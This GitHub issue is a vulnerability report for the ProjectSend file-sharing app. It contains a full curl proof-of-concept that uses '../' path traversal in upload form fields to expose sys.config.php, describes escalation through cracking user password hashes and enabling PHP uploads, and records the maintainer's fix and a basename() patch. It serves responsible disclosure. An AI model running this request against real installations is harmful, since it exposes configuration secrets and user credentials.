Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Flaw - read and delete arbitrary files (accessible by www-data) and run arbitrary code #700

Closed
lmsilva opened this issue Apr 18, 2019 · 9 comments
Assignees

Comments

@lmsilva
Copy link

lmsilva commented Apr 18, 2019

Type

This is a:
[X] Bug report

Description of the problem

It is possible for users to read arbitrary files and (potentially) access the supporting database, delete arbitrary files, access user passwords, run arbitrary code.

Watch video for detailed information:
https://youtu.be/yca1BIDVH-c

List the steps to reproduce the issue

  1. Upload a file (e.g. hacked.txt)
  2. Upload the same file again but don't save it after clicking "Upload"
  3. Grab the PHPSESSIONID
  4. Run the following curl command:
    curl 'http://192.168.200.183/upload-process-form.php' -H 'Connection: keep-alive' -H 'Cache-Control: max-age=0' -H 'Origin: http://192.168.200.183' -H 'Upgrade-Insecure-Requests: 1' -H 'Content-Type: application/x-www-form-urlencoded' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3' -H 'Referer: http://192.168.200.183/upload-process-form.php' -H 'Accept-Encoding: gzip, deflate' -H 'Accept-Language: en-US,en;q=0.9,pt;q=0.8,ru;q=0.7,es;q=0.6,pl;q=0.5' -H 'Cookie: PHPSESSID=45h0ndm0sbak7ggcj26e2f0od0' --data 'finished_files%5B%5D=../../includes/sys.config.php&file%5B1%5D%5Boriginal%5D=../../includes/sys.config.php&file%5B1%5D%5Bfile%5D=hacked.txt&file%5B1%5D%5Bname%5D=own3d&file%5B1%5D%5Bdescription%5D=&upload_failed=&submit=' --compressed

This will create a file called "own3d" that will point to includes/sys.config.php, meaning the user can now download that file (and delete it if the file is writeable by www-data).

Then, IF the user has access to the MySQL server hosting ProjectSend, user can:

  • download and crack password hashes from tbl_users;
  • make changes to tbl_options like:
    -- allowing for upload of arbitrary file extensions (e.g. php)
    -- changing the client options, allowing clients to delete files

This will allow users to later delete arbitrary files (www-data has write access to) and run arbitrary php code.

Environment

  • ProjectSend version: r1053
  • php version: 7.0.33
  • MySQL version: 5.7.25
@ignacionelson
Copy link
Collaborator

Thanks for the report. Will look into a way to fix this issue

@ignacionelson ignacionelson self-assigned this Apr 18, 2019
@lmsilva
Copy link
Author

lmsilva commented Apr 18, 2019

Thanks for the report. Will look into a way to fix this issue

Thanks for the quick response - very cool product, by the way, thank you for working on it!

There are a few other things you guys should also look into improving:

  • don't store uploaded files with user provided names
    -- not only would this solve the issue I reported, but would also protect against potential attacks (like symlink based attacks if the user has local access to the server and can place symlinks in the upload/files/ folder)
    -- it would also help with orphaned files and collisions during the original upload step
  • I would also recommend storing an MD5 hash for the uploaded files, so that you don't even let users upload files that already exist on the server
    -- This would make uploading files considerably faster (if they have been previously uploaded) AND could be used as another security measure (given you could verify the hash that was posted during the upload with the hash of the file being downloaded - rendering symlink OR directory traversing useless)!

@lmsilva
Copy link
Author

lmsilva commented Apr 18, 2019

Thanks for the report. Will look into a way to fix this issue

@ignacionelson here's a quick patch for this:

  • in upload-process-form.php:
                                 if (!empty($new_filename)) {
                                            $delete_key = array_search($file['original'], $uploaded_files);
                                            unset($uploaded_files[$delete_key]);

                                           //  PATCH STARTS HERE
                                            $new_filename = basename($new_filename);
                                            $original_filename = basename($original_filename);
                                           //  PATCH ENDS HERE

                                            /**
                                             * Unassigned files are kept as orphans and can be related
                                             * to clients or groups later.
                                            */
                                            /** Add to the database for each client / group selected */
                                            $add_arguments = array(
                                                                                            'file_disk'             => $new_filename,
                                                                                            'file_original' => $original_filename,
                                                                                            'name'                  => $file['name'],
                                                                                            'description'   => $file['description'],
                                                                                            'uploader'              => $global_user,
                                                                                            'uploader_id'   => CURRENT_USER_ID,

This should clean up any traversal directory information from the user provided file names, by extracting the basename of the file.

@lmsilva
Copy link
Author

lmsilva commented Apr 24, 2019

@ignacionelson any news?

@ignacionelson
Copy link
Collaborator

Will get a patched version before the end of the week, thank you for providing the code also!

@kkplein
Copy link

kkplein commented Apr 25, 2019

A patched version would be very welcome. We have read multiple posts on security issues, and we're unsure just how safe ProjectSend is in it's current version.

@ignacionelson
Copy link
Collaborator

Patched on the latest version, r1070 which is now out. Thank you!!

@kkplein
Copy link

kkplein commented Apr 26, 2019

Great, thanks!

@NicoleG25
Copy link

Hi @ignacionelson , could you point out which was the fixing commit?
Please note that CVE-2019-11378 was assigned to this issue.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

4 participants